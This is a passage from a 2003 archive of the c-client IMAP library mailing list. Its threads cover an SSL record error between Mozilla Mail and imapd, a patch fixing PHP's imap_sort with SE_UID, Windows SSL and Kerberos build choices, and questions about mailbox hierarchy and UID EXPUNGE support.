2003 19:42:58 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with SMTP id h1K3gAhN003876; Wed, 19 Feb 2003 19:42:10 -0800 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1K3fNA8042868 for ; Wed, 19 Feb 2003 19:41:23 -0800 Received: from server07.icaen.uiowa.edu (server07.icaen.uiowa.edu [128.255.17.47]) by mxu5.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1K3fKPI029971 for ; Wed, 19 Feb 2003 19:41:20 -0800 Received: from server11.icaen.uiowa.edu (server11.icaen.uiowa.edu [128.255.17.51]) by server07.icaen.uiowa.edu (8.9.3/8.9.3) with ESMTP id VAA25264 sent by ; Wed, 19 Feb 2003 21:41:17 -0600 (CST) Received: from d-is00.icaen.uiowa.edu ([128.255.17.30]) by server11.icaen.uiowa.edu (8.12.6/smtp-service-1.6) with ESMTP id h1K3fGCf028582; sent by ; Wed, 19 Feb 2003 21:41:16 -0600 (CST) Received: (from dbfunk@localhost) by d-is00.icaen.uiowa.edu (8.9.3/client-6.6) id VAA02627; Wed, 19 Feb 2003 21:41:16 -0600 (CST) Message-Id: Date: Wed, 19 Feb 2003 21:41:16 -0600 (CST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: David B Funk To: Mark Edwards Cc: c-client@u.washington.edu Subject: Re: TLS/SSL not working with some clients In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 19 Feb 2003, Mark Edwards wrote: > On Wednesday, February 19, 2003, at 07:11 PM, Mark Crispin wrote: > > > I don't know anything about Mozilla mail or OSX. > > Well, I don't know that this problem is specific to either really. So, > do you think I need to talk to an openssl list about this one? The > failure is simply with openssl? > > Feb 16 21:43:43 dina imapd[27468]: Unable to accept SSL connection, > host=lilbuddy.antsclimbtree.com [216.27.183.129] > Feb 16 21:43:43 dina imapd[27468]: SSL error status: error:1408F455:SSL > routines:SSL3_GET_RECORD:decryption failed or bad record mac Mark, You may be able to use the "s_client" function in the 'openssl' tool to debug this. Try: openssl s_client -connect imap.host:993 (with the appropriate substition for "imap.host" ;). If that works, then try using the command line options to force specific prototols/ciphers (SSLv3 vs TLSv1, etc) to see if you can mimic what Mozilla/mail-app are doing. Also try it from other platforms (EG from your FreeBSD box to your OSX box) to test interoperability between different implementations of OpenSSL. Dave -- Dave Funk University of Iowa College of Engineering 319/335-5751 FAX: 319/384-0549 1256 Seamans Center Sys_admin/Postmaster/cell_admin Iowa City, IA 52242-1527 #include Better is not better, 'standard' is better. B{ From pinedev@shivax2.cac.washington.edu Thu Feb 20 07:36:37 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 20 Feb 2003 07:36:37 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1KFabTk009264 for ; Thu, 20 Feb 2003 07:36:37 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1KFaVWn001905 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 20 Feb 2003 07:36:31 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with SMTP id h1KFZTZD020442; Thu, 20 Feb 2003 07:35:30 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1KFYOA8035504 for ; Thu, 20 Feb 2003 07:34:24 -0800 Received: from netscape.com (c3po.aoltw.net [64.236.137.25]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1KFYMw9001442 for ; Thu, 20 Feb 2003 07:34:22 -0800 Received: from judge.mcom.com (judge.nscp.aoltw.net [10.169.8.47]) by netscape.com (8.10.0/8.10.0) with ESMTP id h1KFYHl08872 for ; Thu, 20 Feb 2003 07:34:17 -0800 (PST) Received: from netscape.com ([10.169.192.79]) by judge.mcom.com (Netscape Messaging Server 4.15) with ESMTP id HAM5X400.A1G; Thu, 20 Feb 2003 07:34:16 -0800 Message-Id: <3E54F57A.4050609@netscape.com> Date: Thu, 20 Feb 2003 07:34:18 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: ducarroz@netscape.com (Jean-Francois Ducarroz) To: Mark Edwards Cc: c-client@u.washington.edu Subject: Re: TLS/SSL not working with some clients In-Reply-To: <457349FA-4480-11D7-BBB9-0005025E566F@antsclimbtree.com> References: <457349FA-4480-11D7-BBB9-0005025E566F@antsclimbtree.com> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I am juggesting you to open a bug against Mozilla: http://bugzilla.mozilla.org Even if it's not a Mozilla bug, some one looking at the bug might find the problem. Jean-Francois Mark Edwards wrote: > I'm also having a different client problem with a different server. I > have imapd compiled with SSL and plaintext on my OSX Server 10.1.4 > box, and Mail.app and Outlook Express are connecting fine (SSL on 993). > > However, when I try to use Mozilla Mail to connect using SSL on 993, I > get this error in /var/log/maillog: > > Feb 16 21:43:43 dina imapd[27468]: Unable to accept SSL connection, > host=lilbuddy.antsclimbtree.com [216.27.183.129] > Feb 16 21:43:43 dina imapd[27468]: SSL error status: > error:1408F455:SSL routines:SSL3_GET_RECORD:decryption failed or bad > record mac > > > This is very odd, since I have nearly the identical setup on my > FreeBSD 4.7 box, and Mozilla Mail connects just fine. I think it is > something with OpenSSL, because exim also reports this error when > Mozilla Mail tries to connect using STARTTLS on port 25. > > Again, I've seen people reporting this problem, but no solution. Any > ideas? > > Thanks! > > -- > Mark Edwards > Engineer > Mr. Toad's > San Francisco, CA > From pinedev@shivax2.cac.washington.edu Thu Feb 20 11:28:58 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 20 Feb 2003 11:28:57 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1KJSvTk018588 for ; Thu, 20 Feb 2003 11:28:57 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1KJSqWn010450 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 20 Feb 2003 11:28:53 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with SMTP id h1KJRwhN041390; Thu, 20 Feb 2003 11:27:58 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1KJQQA8024938 for ; Thu, 20 Feb 2003 11:26:26 -0800 Received: from mailout08.sul.t-online.com (mailout08.sul.t-online.com [194.25.134.20]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1KJQNNC007758 for ; Thu, 20 Feb 2003 11:26:24 -0800 Received: from fwd05.sul.t-online.de by mailout08.sul.t-online.com with smtp id 18lwKp-0004fw-00; Thu, 20 Feb 2003 20:26:19 +0100 Received: from goodhope.terrania.city (0753195136-0001@[217.83.163.227]) by fmrl05.sul.t-online.com with esmtp id 18lwKa-21TngeC; Thu, 20 Feb 2003 20:26:04 +0100 Received: by goodhope.terrania.city (Postfix, from userid 1000) id 33C181A9C0; Thu, 20 Feb 2003 20:26:31 +0100 (CET) Message-Id: <20030220192631.GB7358@goodhope.terrania.city> Date: Thu, 20 Feb 2003 20:26:31 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Joerg Friedrich To: c-client@u.washington.edu Subject: PHP imap_sort fails when c-client >=2002 and SE_UID and imapserver has no SORT capability Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-15 Content-Disposition: inline X-Sender: 0753195136-0001@t-dialin.net X-Uwash-Spam: Gauge=XXXXIIIII, Probability=45%, Report="MSG_ID_ADDED_BY_MTA_3, RCVD_IN_MULTIHOP_DSBL, RCVD_IN_OSIRUSOFT_COM, RCVD_IN_UNCONFIRMED_DSBL, SIGNATURE_LONG_SPARSE, SPAM_PHRASE_00_01, X_OSIRU_DUL, X_OSIRU_DUL_FH, __EVITE_CTYPE" X-Uwash-Spam: Gauge=I, Probability=1%, Report="RCVD_IN_OSIRUSOFT_COM, SIGNATURE_LONG_SPARSE, SPAM_PHRASE_00_01, USER_AGENT, USER_AGENT_MUTT, X_OSIRU_DUL, X_OSIRU_DUL_FH, __EVITE_CTYPE" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi! I encountered a problem with the PHP function 'imap_sort' The PHP-people told me, that this must be an error in c-client not in PHP. At our universitiy in Constance, Germany we use imp from www.horde.org as Webmailfrontend to our imap-server. We want to update our current version of this Webmailservice to the newest releases. ATM I'm testing all these things. While setting up the test environment with newest PHP I linked it against c-client.a from 2002b. This was no problem, but while playing around with the system there where errors which I was able to track down to the imap_sort function from php which is used by imp. The bug is this. When: 1. php_imap is linked against libc-client.a >= 2002 2. the imapserver has no SORT capability here former iPlanet now SunOne imapserver 3. request from imap_sort to return UIDs with SE_UID imap_sort returns an empty array. I did some test which results are these: php compiled against | imap_sort(...,SE_UID) imap-2001a w/o ssl | works imap-2001a w/ ssl | works imap-2002b w/o ssl | doesn't works imap-2002b w/ ssl | doesn't works imap-2003-dev w/o ssl | doesn't works imap-2003-dev w/ ssl | doesn't works BTW: Our servers run Solaris 8. I was told by someone on irc that in a Linux-Environment this is no problem. Can anyone help? -- Heute ist nicht alle Tage, ich komm' wieder, keine Frage!!! Joerg brain, v: [as in "to brain"] To rebuke bluntly, but not pointedly; to dispel a source of error in an opponent. -- Ambrose Bierce, "The Devil's Dictionary" -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Feb 20 11:57:47 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 20 Feb 2003 11:57:47 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1KJvhTk019624 for ; Thu, 20 Feb 2003 11:57:43 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1KJvdVH022668 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 20 Feb 2003 11:57:39 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with SMTP id h1KJur0a032938; Thu, 20 Feb 2003 11:56:54 -0800 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1KJu7A8037042 for ; Thu, 20 Feb 2003 11:56:07 -0800 Received: from Ikkoku-Kan.Panda.COM (panda.com [206.124.149.114]) by mxu7.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1KJu5NL028928 for ; Thu, 20 Feb 2003 11:56:05 -0800 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id LAA22561; Thu, 20 Feb 2003 11:55:31 -0800 (PST) Message-Id: Date: Thu, 20 Feb 2003 11:53:38 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Joerg Friedrich Cc: c-client@u.washington.edu Subject: re: PHP imap_sort fails when c-client >=2002 and SE_UID and imapserver has no SORT capability In-Reply-To: <20030220192631.GB7358@goodhope.terrania.city> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Does the following patch resolve this problem? 1758c1758 < mail_search_full (stream,charset,spg,flags); --- > mail_search_full (stream,charset,spg,flags & SE_NOSERVER); From pinedev@shivax2.cac.washington.edu Thu Feb 20 14:45:36 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 20 Feb 2003 14:45:36 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1KMjaTk025774 for ; Thu, 20 Feb 2003 14:45:36 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1KMjTWn017528 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 20 Feb 2003 14:45:29 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with SMTP id h1KMiYhN019950; Thu, 20 Feb 2003 14:44:34 -0800 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1KMhUA8047792 for ; Thu, 20 Feb 2003 14:43:30 -0800 Received: from smarthost1.mail.easynet.fr (smarthost1.mail.easynet.fr [212.180.1.68]) by mxu5.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1KMhRPI030007 for ; Thu, 20 Feb 2003 14:43:28 -0800 Received: from [212.11.35.71] (helo=sunset) by smarthost1.mail.easynet.fr with esmtp (Exim 3.35 #1 (Debian)) id 18lzPa-0003dK-00; Thu, 20 Feb 2003 23:43:26 +0100 Received: from aurora ([192.168.17.17]) by sunset with esmtp (Exim 3.35 #1 (Debian)) id 18lzPZ-0008Mc-00; Thu, 20 Feb 2003 23:43:25 +0100 Message-Id: Date: Thu, 20 Feb 2003 23:43:24 +0100 (Romance Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: Mark Crispin , c-client@u.washington.edu Subject: Re[4]: SSL support in Windows cclient version In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE X-Uwash-Spam: Gauge=III, Probability=3%, Report="IN_REP_TO, REFERENCES, SPAM_PHRASE_05_08, __HAS_X_MAILER" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 20 Feb 2003 14:29:34 -0800 (Pacific Standard Time) Mark Crispin wrote: MC> > Is there any reason to not do the same thing you did in SSL code for MC> > Kerberos code as well? My program doesn't currently support it anyhow but MC> > I'd like to add support in the future if possible -- but without making it MC> > impossible to run it under the Kerberos-less versions of Windows. MC> MC> Considering how many variants of Windows there are, and the resulting DLL MC> hell, I don't want to even pretend. Either it's the old way or the new MC> way. Again, I perfectly understand that you don't want to support Kerberos on old systems, but all I want is to allow the program to run there _without_ Kerberos support -- but still have it under W2K. Would you know how Pine deals with this problem BTW? MC> > I know that it's currently impossible, but it doesn't seem to be that hard MC> > to make it possible: simply rename all driver functions ssl_xxx() to MC> > ssl_nt_xxx() and ssl_w2k_xxx() and provide ssl_xxx() wrappers which would MC> > route to either NT or W2K version depending on which one is available. Is MC> > there any obvious reason for which this couldn't work? MC> MC> It won't start on the old systems if the W2K version is in the binary. Well, if the code was written in the same way as ssl_nt.c, i.e. loaded the libraries dynamically, it would start -- or is there something I'm missing again? Thank you for your explanations, VZ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Feb 20 15:57:35 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 20 Feb 2003 15:57:35 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1KNvYTk028463 for ; Thu, 20 Feb 2003 15:57:34 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1KNvUVH032013 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 20 Feb 2003 15:57:31 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with SMTP id h1KNuY0a025472; Thu, 20 Feb 2003 15:56:35 -0800 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1KNtgA8036258 for ; Thu, 20 Feb 2003 15:55:42 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu7.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1KNteNM014949 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 20 Feb 2003 15:55:41 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1KNtcGD006002; Thu, 20 Feb 2003 15:55:38 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1KNtcFl013504 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 20 Feb 2003 15:55:38 -0800 Message-Id: Date: Thu, 20 Feb 2003 15:55:39 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Vadim Zeitlin Cc: c-client@u.washington.edu Subject: Re[4]: SSL support in Windows cclient version In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 20 Feb 2003, Vadim Zeitlin wrote: > Again, I perfectly understand that you don't want to support Kerberos on > old systems, but all I want is to allow the program to run there _without_ > Kerberos support -- but still have it under W2K. Would you know how Pine > deals with this problem BTW? Once again: If you want the generic version that runs on all systems and don't need Kerberos, use makefile.nt. If you want the generic version that runs on all systems plus MIT Kerberos, use makefile.ntk. If you want the WinMe/2K/XP version that is supported and has Microsoft Kerberos but may not run on some Win9x/NT4 systems, use makefile.w2k. > Well, if the code was written in the same way as ssl_nt.c, i.e. loaded the > libraries dynamically, it would start -- or is there something I'm missing > again? w2k does not load libraries dynamically. That's the whole point. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Fri Feb 21 03:19:43 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 21 Feb 2003 03:19:43 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1LBJhTk013898 for ; Fri, 21 Feb 2003 03:19:43 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1LBJeVH016723 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 21 Feb 2003 03:19:40 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with SMTP id h1LBIqSR085912; Fri, 21 Feb 2003 03:18:53 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1LBHIA8047834 for ; Fri, 21 Feb 2003 03:17:18 -0800 Received: from mailout06.sul.t-online.com (mailout06.sul.t-online.com [194.25.134.19]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1LBHFjZ011414 for ; Fri, 21 Feb 2003 03:17:16 -0800 Received: from fwd10.sul.t-online.de by mailout06.sul.t-online.com with smtp id 18mBAo-0004rk-02; Fri, 21 Feb 2003 12:16:58 +0100 Received: from goodhope.terrania.city (0753195136-0001@[217.83.165.14]) by fmrl10.sul.t-online.com with esmtp id 18mBA6-1QTLbUC; Fri, 21 Feb 2003 12:16:14 +0100 Received: by goodhope.terrania.city (Postfix, from userid 1000) id 486EF1A9BA; Fri, 21 Feb 2003 12:16:42 +0100 (CET) Message-Id: <20030221111642.GA3846@goodhope.terrania.city> Date: Fri, 21 Feb 2003 12:16:42 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Joerg Friedrich To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: PHP imap_sort fails when c-client >=2002 and SE_UID and imapserver has no SORT capability In-Reply-To: References: <20030220192631.GB7358@goodhope.terrania.city> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-15 Content-Disposition: inline X-Sender: 0753195136-0001@t-dialin.net X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN YES!!! Thanks :-) Mark Crispin schrieb am Donnerstag, 20. Februar 2003 um 11:53:38 -0800: > Does the following patch resolve this problem? > > 1758c1758 > < mail_search_full (stream,charset,spg,flags); > --- > > mail_search_full (stream,charset,spg,flags & SE_NOSERVER); -- Heute ist nicht alle Tage, ich komm' wieder, keine Frage!!! Joerg Linux: The OS people choose without $200,000,000 of persuasion. -- Mike Coleman From pinedev@shivax2.cac.washington.edu Fri Feb 21 10:36:06 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 21 Feb 2003 10:36:06 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1LIa5Tk026449 for ; Fri, 21 Feb 2003 10:36:05 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1LIa1VH029431 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 21 Feb 2003 10:36:01 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with SMTP id h1LIYnZD014860; Fri, 21 Feb 2003 10:34:49 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1LIXuA8015176 for ; Fri, 21 Feb 2003 10:33:56 -0800 Received: from obelix.spectraweb.ch (smtp.plusnet.ch [194.158.230.8]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1LIXmNC012082 for ; Fri, 21 Feb 2003 10:33:53 -0800 Received: from petertosh (pop-be-5-1-dialup-221.freesurf.ch [194.230.168.221]) by obelix.spectraweb.ch (8.11.2/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id h1LIXZc23830 for ; Fri, 21 Feb 2003 19:33:35 +0100 Received: from tpo2 (helo=localhost) by petertosh with local-esmtp (Exim 3.35 #1 (Debian)) id 18mHx3-00069u-00 for ; Fri, 21 Feb 2003 19:31:13 +0100 Message-Id: Date: Fri, 21 Feb 2003 19:31:13 +0100 (CET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: tomas pospisek To: c-client@u.washington.edu Subject: how 2 determine if mailbox can have subboxes and messages MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=iso-8859-1 Content-Transfer-Encoding: QUOTED-PRINTABLE X-X-Sender: tpo2@petertosh X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN mailsync's task is to synchronize two mailboxes. There are mail repositories that support mailboxes with submailboxes *and* messages (courier IMAP, Maildir) but most not. Is there an eays and/or elegant way to find out whether a mailbox may contain subboxes *and* messages at the same time? *t -- enduring war Florian R=F6tzer -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Feb 23 10:29:10 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 23 Feb 2003 10:29:10 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1NITATk031730 for ; Sun, 23 Feb 2003 10:29:10 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1NIT7Wn021718 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 23 Feb 2003 10:29:08 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with SMTP id h1NIS6SR084216; Sun, 23 Feb 2003 10:28:06 -0800 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1NIPpA8043106 for ; Sun, 23 Feb 2003 10:25:51 -0800 Received: from server2.fastmail.fm (ny2.fastmail.fm [66.111.4.3]) by mxu7.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1NIPnNL030860 for ; Sun, 23 Feb 2003 10:25:49 -0800 Received: from server2.fastmail.fm (localhost [127.0.0.1]) by fastmail.fm (Postfix) with ESMTP id 76D374B062 for ; Sun, 23 Feb 2003 13:25:47 -0500 (EST) Received: from 127.0.0.1 ([127.0.0.1] helo=server2.fastmail.fm) by fastmail.fm with SMTP; Sun, 23 Feb 2003 13:25:47 -0500 Received: by server2.fastmail.fm (Postfix, from userid 99) id 72D8E4DB12; Sun, 23 Feb 2003 13:25:47 -0500 (EST) Message-Id: <20030223182547.72D8E4DB12@server2.fastmail.fm> Date: Sun, 23 Feb 2003 19:25:47 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Hein Roehrig" To: c-client@u.washington.edu Subject: imap uid expunge support (from uidplus extension) ? Content-Disposition: inline Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset="ISO-8859-1" MIME-Version: 1.0 X-Epoch: 1046024747 X-Sasl-enc: 5dYcgg5u2ZQDLUQKC9Nbpg X-Uwash-Spam: Gauge=XIIII, Probability=14%, Report="MSG_ID_ADDED_BY_MTA_3, SIGNATURE_SHORT_DENSE, SPAM_PHRASE_01_02, __EVITE_CTYPE" X-Uwash-Spam: Gauge=X, Probability=10%, Report="SPAM_PHRASE_00_01, __EVITE_CTYPE, __HAS_X_MAILER" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Dear list, browsing internal.txt it appears that there is no direct way to expunge a single message. Is support if the UIDPLUS extension's UID EXPUNGE command planned (or already implemented somewhere) ? Thanks in advance for any advice, Hein -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Feb 23 11:10:18 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 23 Feb 2003 11:10:18 -0800 (PST) 